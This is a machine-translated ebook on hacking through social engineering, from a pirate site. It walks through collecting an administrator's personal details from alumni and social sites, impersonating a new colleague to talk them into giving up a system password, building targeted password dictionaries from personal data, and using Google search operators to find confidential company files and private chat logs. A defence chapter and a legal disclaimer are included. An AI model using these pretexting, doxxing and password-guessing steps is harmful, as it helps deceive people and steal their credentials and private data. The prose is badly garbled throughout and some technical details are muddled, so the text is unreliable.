

How To Become A Hacker

The hacker attack and defense drills



Haibo Wu

www.ebook777.com

How To Become A Hacker

The hacker attack and defense drills



Haibo Wu



How To Become A Hacker

The hacker attack and defense drills

Haibo Wu



The first chapter

Social engineering (SocialEngineering), a through to the victims of psychological weakness, instinct, curiosity, trust, greed psychological traps such as means of hazards, such as cheating, damage in its own interests, in recent years has become a rapidly rising trend and even abuse. In fact, social engineering is not equal to the general fraudulent means, especially complex social engineering, even if they think the most vigilant careful person, as may be damage the interests of good social engineering means. A lot of social engineering attacks are very complicated, including the comprehensive plan, and the integrated use of the considerable skill. But can also be found that some skilled social engineering attacks often can only use simple way to achieve his purpose, ask directly to obtain the required information is often effective.

Social engineering technology will maximize the hacking, not only can use the weakness

of the invasion, also can pass for invasion of human weaknesses, when these two technologies integrate security system will be impossible to exist, skilled social engineering division can eventually defeated at almost all of the safety line.

About the book

Book with pictures, captions, mark, rich graphic means such as the guide line, along with simple language,

This book content

Book in simple language, not only introduces the general method and steps of computer hackers, and the use of tools, and protection from hacker attack method is described in detail, can make the reader in understanding the basic knowledge and understanding of network security premise, easily and quickly grasp the basic knowledge, tools and repair skills, from black to meet in invasion of the ulterior motives can no longer all bewildered.

About concrete contents are as follows: a comprehensive understanding of social engineering, omnipotent information search, scanning tools applied in actual combat, hacker invasion of commonly used tools, commercial espionage common tactic, interpretations of the hacker's attack, interprets the phishing attacks, cross-site attack technology, warren mining user privacy, true and false, not prevent cheating attacks, a variety of detection technology, defense technology security threat, etc., makes the readers to hackers representative technology such as social engineering attack and protection have a comprehensive understanding.

In addition, the book social engineering attacks from hackers and protection application, this paper gives a relatively independent content from the Angle of readers on how to build a practical hackers social engineering attack and prevention system is a basic concept and idea, and can provide readers with several typical industry safety protection system construction plan, for your reference.

This book features

Book case driven and task advanced as distinct characteristics, in the book, can see a vivid case scenario. Through individual practice task, readers can easily master all kinds of knowledge, promote quickly in imperceptible in actual combat skills.

Low efficient mode: completely overcome the offensive and defensive operations of learning disabilities.

Reasonable low content: introduction to select the reader the most pressing need to master the knowledge, form a practical, full and complete knowledge system;

Low extrapolate: beginners learning habits in mechanical memory, something by interpretation of a knowledge, let the reader understand and grasp thoroughly thinking of similar occasions.

This book will show readers the little-known social engineering attack inside, distinguished, explaining the specific implementation of social engineering attack and comprehensive details, let the reader know clearly that they attack tactics, case can be provided the recognition of the threat posed by image and provide a complete solution, can make the readers from the information, and make the enterprise know how through training and related protection to prevent social engineering attacks.

Suitable for the crowd

This book will revolve around personal and corporate information threat to complete department, including information tracking, privacy, mining, commercial espionage, phishing attacks, psychological attack, such as the investigation against the forefront of information security, aimed at helping people and the government, the commercial organizations to realize the threat of social engineering attacks, in order to make people and organizations important secrets from being stolen or is in danger of invasion.

The book as a quick manual for the network lover, suitable for readers to learn how to use as follows:

Low at the beginning of the computer, intermediate users;

Low computer enthusiasts, increase;

Low need network protection of personnel in all walks of life;

Low network management;

Low key institutions related to students.

The author:

free ebooks ==> www.ebook777.com

Needing those who remind everybody is, according to the relevant state laws and regulations, any use of hacking attacks on the behavior of others belong to illegal behavior, hope readers after reading this book, it is best not to use this book introduces the hacking attacks on others, otherwise the consequence is proud, remember remember!

Content abstract

Book 1 to reappear the whole process of the hacker social engineering attack and defense drills, the contents include: a comprehensive understanding of social engineering, omnipotent information search, scanning tools of actual combat, hacker invasion of commonly used tools, commercial espionage common tactic, interpretations of the hacker's attack, interprets the phishing attacks, cross-site attack technology, warren mining user privacy, true not prevent cheating attacks, a variety of detection technology, defense technology security threats such as application technique, and through the integrated application of some cases, explained the hackers to readers with a variety of anti hacking tools of the application of comprehensive technology.

Book content rich comprehensive, simple, for the vast number of network lover, also can be used as a quick handbook, can also be applied to network security professionals and managers.

The first chapter what is social engineering

Social engineering is a kind of attack, the attacker to use of the interactive relationships of attack: usually the attacker if there is no way to invasion by physical way to directly obtain the required information, will be by email or phone to defraud of the required information, using the data for the host permission in order to achieve its purpose.

1.1.1 overview of social engineering attacks

Of deception to cheat in real society are a diverse group, with the progress of network and communication technology, its deception figure also appeared unceasingly, is available. For example, some people for trying to get mobile winning prizes in text messages, bonuses and cheated, some people believe liar call from loved ones had a car accident, sudden illness in hospital after been defraud and etc. These deception in real society, once being attacked by hackers extension application to network system, will become a social engineering attack.

Social engineering is the recent hacker community popular way of an intrusion. Social engineering attack main unconventional means to get the server permissions or site permissions, such as the administrator of all kinds of information collection, like into which sites such as the administrator, administrators like to use what password, on the site of the administrator into web trojans, crack administrator database from site regularly to achieve the administrator password.

In a nutshell, social engineering attack is to make use of people's psychological weakness to defraud the user's trust, access to confidential information, such as computer passwords, bank account information is not public information, such as to create favorable conditions for hackers and virus infection.

In recent years, there appeared some security magazine for the article related social engineering attack, hackers will also gradually eyes from the traditional system of waves of invasion and scripting to social engineering attacks.

Social engineering attack is that most hackers to see light, through the information search and call social directly ask for password, facilitates the invasion of permeation, investigate its reason, is because of the network management personnel management problems. Network management personnel diathesis, greatly restricted the safety degree of the whole network.

Due to the technology is more and more perfect security products, using these technologies, it become the most vulnerable part of the chain. And people are greedy, selfish, curious, trust, such as psychological weakness, therefore, through the proper methods and ways, the intruder can completely from the relevant personnel for invasion of the required information. Social engineering attacks can be divided into two kinds: social engineering and general social engineering.

In fact, the narrow social engineering attack and broad social engineering attack is one of the most obvious areas, and victims of interactive behavior, for example, you can set a trap to jump, the other party or counterfeit a false from the internal email, or take advantage of relevant communication tools to communicate with them for sensitive information. The real social engineering division is not make chance to download website and BBS database, they clearly know what information you need, and what should do, from the collection of information in useful information, and interaction with the victim, such ability is called social engineering.

1.1.2 cannot ignore the traditional information security

Social engineering is the traditional information security, it is a instinct to the victims, curiosity, trust, greed psychological traps such as means of hazards, such as cheating, damage in its own interests, rather than using the system vulnerabilities of invasion. Ordinary users often installed hardware firewall, intrusion monitoring system (IDS), virtual private network, or security software products, but this does not guarantee security.

Social engineering division need to make a phone call, using the professional terminology, report the ID of internal staff use, make a system administrator login system, and send it to steal information. In fact, many security behavior is appeared in the diddle insiders (information system management, operation and maintenance personnel, etc.) on the trust of easily bypass all technical protection.

Trust is the foundation of all safety, for the protection and the trust of the audit, are often considered to be the weakest link in the security chain. To avoid security risks, technical experts carefully designed security solutions, but little attention and solve the biggest security vulnerabilities - human factors. Both in the real world and in virtual network space, no one can access the system, are likely to pose potential safety risks and threats.

Social engineering than other hackers complex, even if they think the most vigilant and careful person, will be the same good social engineering method of damage. Because “social engineering” dominated the traditional information security, so through the study of it can improve the ability to cope with non-traditional information security incidents. Non-traditional is an extension of the traditional information security, information security claims information security protection to adopt “pre-emptive” strategy, break through the traditional concept of information security in the guidance of passive, active analysis of people’s psychological weakness, improve people’s awareness of deception, at the same time improving technical system and the shortage of the management system to change the status quo of information security “band-aid, becoming”.

Social engineering is everywhere, in areas such as business negotiations and the judicial. In fact, in life, we often use, unwittingly just oblivious. When encounter problems, for example, will know should look for a person who have the discretion to deal with, and let the people around to help solve. It is also a social engineering. Social engineering is a double-edged sword, both good on the one hand, on the one hand and bad.

1.1.3 attack information owners

Information security is the essence of information battle between the owners and the attacker. Information owners are priceless treasure, the attacker can need not spend a lot of energy for a password on system invasion and cracking, directly to the owner’s vulnerability to attack, can avoid some shouldn’t have happened, such as password

change, the system upgrade patch, etc.

In general, the experienced hacker attacks tend to lack of interpersonal skills experience and knowledge, but social engineering attack to break the pattern. In most cases, the success of the social engineer have strong interpersonal skills. They are attractive, polite, neat, and has the characteristics of rapid establish amiable, reliable feeling.

An experienced social engineer, using his own strategy, tactics, almost close to any information that interested him. They start with plenty of time to study traditional information security, large commercial price is attract their conditions, the effective information invasion to their very intimate.

Social engineering attack is also a popular among hackers, that is Chinese enterprises blindly pursue to maximize the business, they don't pay attention to establish brand, ignoring the safety training to employees. A social engineering, for example, users want to get some information from a credit card company, but not related to prove he can legally get these information from the company. So, he can use social engineering, from the credit card company related bank collect related information so as to achieve his purpose. , for example, the bank information obtained from the credit card company need to prove what files or ID number, or is often associated with the credit card company for the business such as the names of the staff, the attacker as long as through certain channels from these without any values of the mouth of the enterprise internal employee get this information, you can steal information successfully. Without security threat awareness of enterprises will be planted on this issue in a vast.

Therefore, at this stage, the information owner is one of the main targets of social engineering attacks, also cannot ignore vulnerabilities, to prevent the attacker to steal information from the information owner, we must strengthen the safety training for their investment.

1.1.4 common methods of social engineering

Modern network complicated, viruses, trojans, spam and brought great impact to the network security. At the same time, the use of social engineering attack means becoming mature, its technical content is becoming more and more high. Social engineering attacks before implementation must master psychology, interpersonal relationship, behavioral science, such as knowledge and skills, in order to collect and control information and information necessary to implement the intrusion behavior. Here are several common means of social engineering.

1. Environmental infiltration

free ebooks ==> www.ebook777.com

To permeate, specific environment is a social engineering in order to obtain the required information or sensitive information often use one of the means. Social engineering attack by observing the response speed of the target of E-mail, importance, and may provide related information, such as a person's name, birthday, ID number, the administrator of the IP address, E-mail, etc., through these collect information to determine the network structure or target system password is roughly content, so as to obtain that information.

2. The lure

Surf the Internet often encounter prizes and free content such as email or web page, the temptation to the user to enter the page download a program run, or required to fill in account and password in order to "verify" identity, use people's psychology of failed to lure users, this is usually a hacker had good trap.

3. The camouflage

Currently popular phishing incidents and cover letter earlier before the virus, Christmas CARDS, all is the use of electronic mail and fake Web site for fraud. Fraud, according to a survey in all contact information of the user, as many as 5% of people would response to these scams.

4. To persuade

Persuasion is harm to information security a social engineering attack methods, it requires that the target internal personnel into some sort of agreement with the attacker, provide various conveniences for the attack. Personal conviction is a kind of sb. to cooperate or comply with the powerful tools for the attacker intent, in particular, when the interests of the target without conflict with the interests of the attacker, even consistent with the interests of the attacker, this method is very effective. If the target insiders have been unhappy with the idea of revenge, even so match and it is easy to reach, he may even become the attacker's assistant, help an attacker to gain unexpected information or data.

Attacker in these attacks, often by maintenance personnel, technical support staff, managers, the trusted third party, or business colleagues role, it is not difficult to implement in a large company.

Because each person could not know the company of each staff and identity can be fake, most of these characters have certain rights, let the other people will go to curry favor with involuntary. Most of the employees want to curry favor with the boss, so they will bow to those who have the right to provide the information they need.

5. Intimidation

Social engineering division, often used for security, vulnerabilities, viruses, trojans, hacker content such as sensitivity, appears in the identity of the authority, spread the safety warning system risk, such as information, using scare tactics intimidation cheat computer users, and claims that if you don't do what they request, will cause serious harm or loss.

6. Compliment

Clever hacker master of psychology, interpersonal relations, behavioral, and social engineering aspects of the knowledge and skills, good at using human instinct reaction, curiosity, blind trust, greedy human weakness such as setting traps, implementation of deception, control the will of others. They are usually very friendly, very pay attention to the art of speaking, know how to cater to people with equal opportunity, the mood, make most people will respond kindly, and is willing to continue our cooperation with them.

7. Reverse engineering society

Reverse engineering society refers to the attacker by technical or non-technical means to network or computer applications made "problems", the company employees believe that induces staff or network management personnel disclose or leak the attacker needs to obtain information. This approach is hidden, it is hard to find, particularly large, it is not easy to prevent.

The second chapter the social engineering attack case in life

Social engineering as a door of the information age developed the art of "cheating", in what is now both virtual cyberspace and real daily life scenes, all related to information security, there is the application of social engineering.

This section will introduce a few kinds of common life safety about social engineering attacks, hope that we can further understanding of the social engineering, and alert.

1.2.1 cleverly get the user's mobile phone number

free ebooks ==> www.ebook777.com

Social engineering is a kind of cheating process of combining with computer technology, and the perpetrators of social engineering, can be regarded as a proficient in super computer.

, through a virtual examples illustrate how to use social engineering to obtain the user's mobile phone number.

Assume that the attacker attempts to invade a company's internal office system, but can't crack the password for the administrator login. Can use some means to get phone number at the first, and then think of some way to get the administrator login password.

First, open the company's web site, the site home page in the upper left corner there is a "internal office system login" link, under the link has a rapid login, in the "login" and "password", the content of the corresponding input text box to enter the company's internal office system.

Or directly click on the "internal office system login" link, in the open "internal office system" page can log in to the company's internal office system directly. Have to do now is get the administrator login password, but you can start from the mobile phone number at the first, to get his phone number, and then think of some way to get the login password.

Mobile phone number of the attacker to be successful for the administrator, need according to the following method.

1. The query the user's network information

The attacker can use social engineering, detailed collection administrator of all kinds of information on the Internet. Administrators commonly used E-mail, for example, in general, often on the network administrator, when they registered some BBS or blog site service, etc., can use email. As a result, the attacker can take these email address as a keyword, in baidu or Google and other search engines search for related information.

Can be seen in the search results many useful information, such as what BBS administrator to register. In the same way, the administrator can be used the other information such as E-mail, QQ number and MSN address for keywords to search on the net, also can search a lot of information.

In addition, can also in the present popular “campus network” and “alumni network” social search for more detailed information on the type of network, in order to obtain information from the user’s real information. The two web site registered users usually in the registration information to fill out the real home address, date of birth, phone number and QQ number and other information, in this way can I know that the administrator cell phone number, or other important information.

2. The mobile phone number

If the target is obtained directly from the search information in the network can cell phone number, you can use this phone number to cheat. If only the target date of birth, home address or QQ number, can add the QQ number of administrator first as a friend, through other ways to cheat to his cell phone number again.

1.2.2 revelation phishing use social engineering

Phishing is refers to the intruder by deliberate technology to forge out some realistic-looking website and lure victims according to the specified operating methods such as email, the victims “voluntary” hand over important information or steal important information (such as bank account passwords). It is not a new invasion method, but is gradually expanding the scope of its harm, and become one of the worst effects of the recent threat the network security.

Both Internet explorer or the firefox browser, in the face all kinds of holes, for example, some loopholes in the browser can let hackers malicious code inserted into a web page, can let the browser to display the wrong address. The attacker can send E-mail or QQ message to the user, click a url. The site URL looks is a famous website, after open the page as well as the website, but is actually the hackers build phishing web site.

At this point, may have such doubt, similar to phishing and social engineering, are using people cheat? Actually, phishing is a kind of social engineering attacks, in short, is through the fake information get trust from the victims and the response, because is the explosive growth of network information, people face all kinds of information is often difficult to identify the authenticity, relying on the network environment for phishing attack is a very feasible means of attack.

Phishing is divided into two forms, from the Angle of attack is a kind of by forging with credibility “probability” information to deceive the victim. Here “probability credibility”, logically is to make people have a certain probability trust and response, in principle, said

the attacker used to attack probability of “credibility” of information, this kind of information within the probability is consistent with the victim's trust, the victim may direct trust this kind of information and response.

In addition, one is from the “fraud” information to attack victims. This like social engineering attack, the attacker needs to grasp each other's information in advance, and use of interpersonal trust, fabricated by fake identity information, make the victim to the attacker said sure and make a response.

We often encounter in real life events, fishing and can still frequently have it so bad means, mainly because of phishing make full use of the people's psychological vulnerability. First of all, the people received the influential hackers sent emails, many people don't doubt the truth of the letter, unconsciously more open E-mail according to the requirements specified in the URL. Secondly, on the page, we usually don't pay attention to the address shown in the browser address bar, and only pay attention to the page content, that is the reason of the flashpoint for anglers.

1.2.3 MaoRen identity acquisition system password

After get the administrator's cell phone number, can use identity forged this method to defraud the system password. Identity theft is refers to the attacker using various means to hide the true identity, with a goal of trust appear to achieve the purpose of access to information.

The attacker to access to target mostly internal status, intelligence and information; Or take the better tactics, such as fake ID card, ID card, etc., in the case of no professionals or system testing, it is has the certain difficulty to identify its authenticity.

In the campus network, and the alumni network social search users of the information on the type of network, after get the administrator's mobile phone number, we can pretend to be the administrator a new employee in the company, and then use the mobile phone number to send information to the target, told him “I'm your new colleague XXX, is a new sales manager assistant, this is my mobile number”. Looking for topic chat with administrator, make them believe about the things they say.

Finally, tell the administrator, the sales manager asked me on the company's internal office system to download a document, but I don't know the company's internal office system set a password, forgot to ask him, I hope you can tell me the password, I need to take this document. When the administrator after hearing these words, then they will believe what you say, and tell the password to you. In this way, can smoothly from administrators gain

system password. Run, of course, this approach may have certain ingredients, but like this negligence and guard against mental is not strong people very much, social engineering is the use of this characteristic to the target to attack.

1. Social engineering steal passwords

Availability of code is very simple to use social engineering, and do not need other hacking tools can do, harm is very big.

Social engineering crack password is targeted gather relevant information, be cracked people and related information for finishing machining, achieve the goal of fast and efficient crack password. Ordinary collect information collection methods, namely, through the collection of information of visible system, as fully as possible. Another method is to use powerful search engines, search him names and related personnel, screening of useful information from the search results to use.

For example, to break someone's account password, to collect information about him: name, birthday, phone number, QQ number, home phone and its location, student number, id number, home zip code and area code, etc. In addition, but also gather around him close personnel information, such as: parents, girlfriend, etc. The collected information, combined with some other commonly used to a certain combination of letters, Numbers, a series of password, the password dictionary.

Password dictionary is mainly used with decryption software, password dictionary includes many people habitually set password, so that we can improve the decryption password cracking of software, shorten the decryption time. , of course, if there is no rule or one password is complex, not included in the password dictionary, the dictionary is useless, and may even prolong decryption.

Below with “also think social engineering dictionary generator” as an example, introduces how to use the information collected by generated password dictionary.

“Also think social engineering dictionary generator” is used to generate a specific combination of password dictionary, input the corresponding character in the corresponding position, and click the button to generate a dictionary **】** **【** , can be in the same directory to generate the dictionary file “mypass. TXT”.

Open the software “also think social engineering dictionary generator”, “information society” in the main window on the left side of the column in the corresponding text box

input the collected information. Can be produced to click the button to generate a dictionary] [, called a "mypass.TXT" dictionary files open the file, you can see the software using the collected information generated password dictionary.

The generated password dictionary

It is important to note that the more accurate information to fill out and fill in the project, the more the generated password dictionary in the greater the likelihood of a real password. Don't limited to options, while filling in the related important information can be fill in, in order to increase the probability of hit password.

After using the collected information generated password dictionary, you can use the password cracking program one by one from the generated in the dictionary of reading may be a password note, try one by one, until you find the correct password.

The third chapter to prevent social engineering

Through the previous study, we know that social engineering attack is a very dangerous hacker attack technology, it is like a pair of invisible eyes, always stare at us and get the opportunity to attack. Therefore, in order to avoid the individual user or enterprise social engineering attack, to grasp some of the ways to prevent social engineering attacks.

1.3.1 individual users to prevent social engineering

Social engineering attack core is information, particularly personal information. Hackers for whatever purpose, if you want to use social engineering, must first understand the information of the target object. For individual users, to protect personal information is stolen, we need to avoid in unconscious state, take the initiative to disclose their information.

1. Learn some social engineering technique

As the saying goes: enemy and know yourself, fight. If you don't want to be man who're incapable, and that you have to know more about some're incapable of ti, which helps to understand all kinds of new social engineering techniques.

2. The protection of personal information

Ordinary in the network today, a lot of BBS, blogs, E-mail and so on are contains a large number of private personal information, this information useful information to social engineering attack mainly have birthday, age, email address, phone number and home phone number, etc., the intruder information mining according to the information again, will improve the invasion of the chance of success. In providing registration place, therefore, try not to use real information, for example, on the network with social networking sites, it is undoubtedly the unconscious is the best place to leak information, become the most favorite place hackers.

Registration information on the Internet, if you need to provide true information, need to look at whether these website provides protection for personal privacy information, whether some safety measures were taken. BBS etc need user registration for service companies need to protect the privacy of personal information from perspective, from a program on some security measures to protect personal information was leaked.

3. Always vigilant

Use social engineering attack means, such as we have received the email, the sender's address is easy to fake; Company machine to see the caller id, also can be forged. Received text messages and the number of the text can be forged. So, to keep alert, keep a heart of doubt, don't believe what you see.

4. Keep the rational

Many hackers in the use of social engineering attack, using methods that are using the perceptual weaknesses, then influence. So, we should try to keep a rational thinking, especially when communicating with strangers, so to help reduce the probability of fraud.

5. Don't discarded in the life garbage

Seems useless garbage may be lost at random, but the living garbage will be intentional hackers use. Because these garbage may contain has the content, such as bills, invoices, ATM slip did not destroy them completely when discarded, but free throw in the trash can. So, if some people pick up, can cause the leakage of personal information.

1.3.2 enterprises or units to prevent social engineering

Common saying says the high scale, while the priest climbs a post, and in the face of the security challenges posed by social engineering, the enterprise must adapt to the new defense.

1. Network security training

Social engineering is mainly used for various attacks of human weaknesses. So said, “people” is the weakest in the whole network security system. For domestic enterprises, pay attention to the training of technical skills, and lighter than training in network security, only after accept severe losses, awareness of the importance of network security.

Therefore, in order to guarantee enterprise from loss, have to be some network security training to employees, let them know how to use these methods is and get away with that, learn to identify the social engineering attacks, in this respect should pay attention to several kinds of ability training and training companies and employees, including identifying judgment, fraud, information hiding, self-protection ability and emergency handling capacity, etc.

(1) network security awareness training.

Should notice when the safety training in social engineering attacks and against social engineering attacks against training, whether older employees or new employees have to network security awareness training, train employees secrecy consciousness, strengthen the sense of responsibility. Around in training, combined with some case for training, such as QQ account stolen, let ordinary employees aware of some simple sociology attack will not only losses to themselves, but also will affect the company’s interests.

(2) network security technology training.

Although the present network invaders many, but for the individual or company have a security awareness network, the invasion of the chance of success is small. So for the employee to carry on some simple and effective network security technology training, reduce network security risks. Network security technology training mainly from the system bug fixes, applications, patches, anti-virus software, firewall, run the executable applications, and so on aspects, let staff active network security defense.

2. The security audit

Strengthen the enterprise internal security management, system management responsibilities as much as possible when the separation, reasonable allocation of each system administrator to have power, avoid permissions excessive concentration to prevent external personnel with internal, staff should wear badges, set the access control and video surveillance system; Strict office and equipment maintenance scrap disposal procedures; Put an end to for convenience, the password in the form of paste or through QQ and system maintenance work daily contact, etc.

(1) identity audit (certification)

Certification is a commonly used term in information security. In layman's terms, authentication solution is someone who is. As most of the attacker can use "identity as" this step, so the certification is very necessary. As long as carry on some simple identification, can see through most fakers. Met in the company, for example, people who do not know to look for your sensitive information, you can put the phone back for confirmation (preferably back internal machine). For the import and export of the identity of the audit in the company,

Must be careful, cengcengbaguan, only after the real identity verification and make relevant registration before they can give them. In some important security services, but also should be according to the actual situation needs, take in the form of fingerprint recognition, retina recognition and identity verification, to ensure the safe operation of the network.

(2) the operation process audit

Operation process audit requirements in the operation process of each link to serious review, put an end to violation of operating procedures. In general, comply with the operation process specifications, for safe operation, to ensure information security; But if the individual personnel irregularities may leak sensitive information, endanger the safety of network.

(3) the security audit list

Regular safety inspection of the PC of the firm the security check mainly includes the computer's physical security check and computer operating system security checks. Computers physical security refers to the surrounding environment or computer equipment to ensure that the computer information is stolen or leakage.

Computer operating system security is refers to from the operating system level to maintain security of computer information. Computer operating system security of the content is more, mainly from the antivirus software regularly upgrades, operating system patches in a timely manner, to install a firewall, U disk, antivirus, don't run unknown program and considering banning open attachments of unknown origin, etc.

(4) to establish perfect security response measures

Should establish perfect safety response measures, when employees by social engineering attack or other attacks, or suspects by social engineering and social engineering attacks, it shall timely report, the relevant personnel in accordance with the security response measures to carry on the corresponding processing, reduce the safety risk.

The fourth chapter expert class (common problems and solutions)

It seems 1: social engineering attackers often use this kind of mobile phone, identity theft attacks on targets, users should how to avoid this situation happen?

Answer: identity theft, it is by pretending to be carried out for the sake of another person's identity fraud, theft, etc., and obtain illegal interests. Social network information can provide some valuable content, such as the victim's name and date of birth. Identity thieves can use these information to guess the user's password or imitate these users, and ultimately to steal their identity.

Here to remind users don't answer all social website to submit questions, or not to provide their real date of birth. Users don't have to tell her true education background, phone Numbers, etc., but also managed to keep burglars get wrong other sensitive information.

Inspiration. 2: if a user thinks he has social engineering attacks, and information about the company, how should do?

Answer: if you think you have leaked sensitive information about the company, going to report this matter to the relevant personnel in the company, including the network administrator. They can be of any suspicious or unusual action on alert. [TXT novel download: www.wrshu.com]

The first chapter to start from the search engines

For hackers, search engines are they looking for target's assistant. Through most of the phishing baidu, Google and other search engines to find the loophole of the site, and to find the site for phishing attacks. Hackers are choosing these search engines, because they use the web crawler performance is strong, can complete records website structure and page, so, for information search engine has found that the potential and the depth of mining tools.

2.1.1 summary of search engine

Search engines like the legendary "know-it-all", no matter what you search for content, it can give an answer. But only to choose the appropriate search engine, can achieve twice the result with half the effort. For example, if you want to download movies, using thunderbolt dog video search is the most efficient; To search video, pictures, the most efficient method is to install emule exchanges sources, search within emule exchanges sources.

For hackers, Google's search engine may be a good hacker tools. Because of Google's search ability strong, hackers can construct special keywords, use Google search information regarding privacy on the Internet. Through Google, hackers can even in black to drop a website within a few seconds.

1. Google's basic search functionality

What is Google's search engine search functions? In IE browser's address bar, type www.google.

Com, enter the Google home page. Google's search engine interface is very simple, main part mainly includes the search category labels, LOGO, search box, and Google search button.

Basic search functions including web search, Google image search, video search, maps, search, news search, music and so on several major categories, some frequently used several search function is described below.

(1) the web search

Google's default search option for web search, users only need to input to query in the query box key information, click "search" button, can immediately get want to query

information.

free ebooks ==> www.ebook777.com

(2) image search

Click on the Google home page to the left of the “picture” label, and then input to query keyword search of image content can be made, and also provides a variety of image classification for users to search accurately.

(3) video search

Click on the Google home page to the left of “video” TAB, and then input to query keyword search of video information can be made, and it also offers a variety of video classification search for users to choose.

(4) map search

Click on the Google home page and left a “map” TAB, and then input to query keywords can query address, search area around and route planning, etc.

(5) the news search

Google provides several classification for news and information search services, including mainland China, finance, science and technology, sports, etc.

(6) music search

Click on the Google home page and left of the “music” TAB, and then input to query keywords, such as name of song or singer name can query to the desired results.

2. Google’s search syntax

Most people in the process of using a search engine, is usually will need to enter a search engine search keywords, began the long process of information extraction. If you simply enter a few keywords, the user will not be able to get all the information in Google. Google for keyword search provides a variety of grammar, the rational use of the grammar, will make the search results more accurate.

Google allows the user to use these grammar in order to obtain more accurate results, but hackers can use this syntax construct special keywords, the vast majority in the search results is the website of the loophole. The following is a list of Google search engine part of the grammar.

(1) the site

Find are associated with a specified website URL, such as “hnfree. Cn”, or a domain name, such as “com. Cn”, “.com “, etc.

“Tip”

Site after the colon in English characters, and there can be no Spaces after the colon, otherwise, will be “site:” as a keyword search. In addition, the website domain name cannot have “HTTP” and “WWW” prefix, also cannot have any directory “/” suffix.

(2) the link

Search all link to a URL address of the web page. For example, to search for all links to the black base web “www.hackbase.com” web pages, you can input “link:www.hackbase.com” into the search box.

(3) inurl

To search the web link contained in the first keyword, the back of the keyword in the link or web page in the document. Have many websites to one kind of resource name with the same attributes displayed in the name of a directory name, or web page, such as MP3, so it can find the related resources link with INURL grammar, with the second keywords to determine whether there is a specific information. Input “inurl: hack”, for example, you can find a hack the URL of the characters.

(4) the allinurl

Search to the web link contains all the query keywords, similar to grammar inurl. The query object only focused on web link string.

(5) too

free ebooks ==> www.ebook777.com

Specific characters are included in the search page title page. Such as input “intitle: hack”, it carries the hack in the page title page will be searched out.

(6) allintitle

Allintitle similar to intitle grammar, which is used to search the page title specific keywords are contained in the web page, but can use multiple keywords.

(7) intext

Search pages of text content in the specified characters, such as input “intext: hack”, search on a web page contains characters in the body of the hack.

The Filetype (8)

Search the specified type of file. Such as input “filetype: hack”, will return all to hack at the end of the file URL.

These search syntax although grammar is a small part of Google, but as a keyword, it USES English grammar is not difficult to remember.

2.1.2 combined search syntax

When use the Google search information, in order to make the search results more accurate, can adopt the way of combining multiple syntax collocation rapid positioning. Here are a simple example to demonstrate the modular grammar search method.

To query contains a “hack. HTML” url, combined syntax can be used in Google’s search box input “allinurl:” hack. HTML “OR” hacks. HTM ””. Used here three grammar, allinurl mean requires that all content will appear in the URL, use half Angle double quotation marks mean requirements hack. HTM must together, not separate.

Use the OR meaning, because web pages may end with the HTM, also may be closing in

on the HTML. Combined three grammatical meaning is: request to find web url contains “pass. HTML” or “pass. HTM” page. Search contains a “pass. HTML” or “pass. HTM” URL as a result, at the top of the search results shows the total number of search to conform to the requirements of the web pages. Can be seen from the diagram, each result contains characters in the URL “pass. HTML” or “pass. HTM”.

Here need to add that general search engines need to add “, “between multiple keywords and Google without proclaimed in writing” to represent the “logic” and “operation, as long as the space is ok. For example, to search, including “Bob” and “Ted” web pages, can be input “bobted” directly into the search box. Google will assume a “and”, and it automatically to include within the internal index search. But if the input in the search box “Bob or ted,” that are included in the search results page will only mention Bob alone, or only mentioned ted alone, there are some pages will mention these two characters at the same time. With the search “bobted” the result is different, it is very important to the subtle differences.

2.1.3 search feature codes

The so-called search feature codes is in a certain type of search keywords. The more accurate positioning of the signature, the easier it is to search the results meet the requirements. For example, to use thunderbolt download software “PhotoshopCS4”, found in the web page download resources, click the “download” button, start in the thunderbolt download.

Under thunder “task information” TAB, click “view details” link, you can view in the connection information TAB thunderbolt download test. Download the test as follows:

The 2010-10-8 14:25:50 connection...

The 2010-10-8 14:25:50 began to search the candidate resource... // signature

The 2010-10-8 14:25:51 search to 128 candidate resources... .. // signature

The 2010-10-8 14:25:51 use candidate resources to connect... // signature

The 120 14:25:51 search to 120 candidate resources

The 2010-10-8 14:25:51 use candidate resources to connect...

free ebooks ==> www.ebook777.com

The 2010-10-8 14:25:51 search to 20 candidate resources

The 2010-10-8 14:25:51 use candidate resources to connect...

The 2010-10-8 14:25:51 search to 15 candidate resources

The 2010-10-8 14:25:51 use candidate resources to connect...

The 2010-10-8 14:25:51 search to eight candidate resources

The 2010-10-8 14:25:51 use candidate resources to connect...

The 2010-10-8 14:25:52 original resources connection is successful, the file length: 843649726

The 2010-10-8 14:25:52 began to create a file... .

The 2010-10-8 14:25:52 file to create successful, began to download data... .. // signature

Located in the test connection 4 feature codes, namely, “began to search the candidate resource”, “search to 128 candidate resources...” , “using the candidate resource to connect...” And “file to create successful, began to download data.....” .

To locate the feature codes around, because signature should follow the unique, special, not common characteristics. Now, use the signature will be able to download the required resources, software “PhotoshopCS4”, for example, in the search box input “PhotoshopCS4 file creation is successful, start downloading data.....” Can.

2.1.4 for sensitive information

In the network resources is unlimited, as long as we find the right search keywords, even some of the confidential information of the enterprise, it is also possible to search. Before hackers attacks on a company’s web site, will search through the network of the

company's important information in advance. So, the hacker is how to search these confidential information?

Company secrets is the commercial secret, it is a kind of intangible assets, can bring huge economic benefits to the enterprise. Most of the time, this kind of intangible assets with monopoly, often can make the enterprise in a certain time, certain areas to reap rewards. Also because of this, to protect business secrets, for an enterprise, has the vital role.

But as long as the understanding of the common terms associated with the enterprise or the theme of the confidential information, etc., can search the information we want. Generally speaking, each enterprise's confidential files are kept in a site, the different parts of the people have an account to log in and upload the necessary documents, the file format is usually, such as PDF, DOC and PPT for relevant technical staff. These files may be company planning scheme of a product, or product design draft, etc.

Suppose you want to search a company arranged to order planning scheme, we can try to enter in the search box grammar "filetype: doc we order will be planning scheme".

Through this method to search for multiple cities occurs as a result, if only for a single city, type can be used for the search. But first need to know a company's web site, if you want to search the wine culture in qinghai province association of giving orders to the site will be planning schemes, search syntax can be changed to "site:qhjwh.com filetype: doc we will order planning solution", search again can.

In addition, some such as QQ, MSN chat logs, hackers can also use Google search, and analyze the content of the chat logs, based on information provided by the chat logs to gain the trust of the victims and attack.

Now locate several QQ chat records, for example, a search feature codes, "successful receiving files", "have established a connection with each other straight (UDP)" and so on, the input in the Google search syntax "intext:" success to receive files ", "can be found from the search results reveal that the user QQ number information. After find QQ user information, the user can use the QQ to add as a friend, and then through some method to obtain the trust of the user, and then carry on the attack.

2.1.5 "human flesh search"

"Human flesh search" is very popular in today's online world, this method can quickly search the location of a person or an event, event, reason, and so on and so forth. If well-

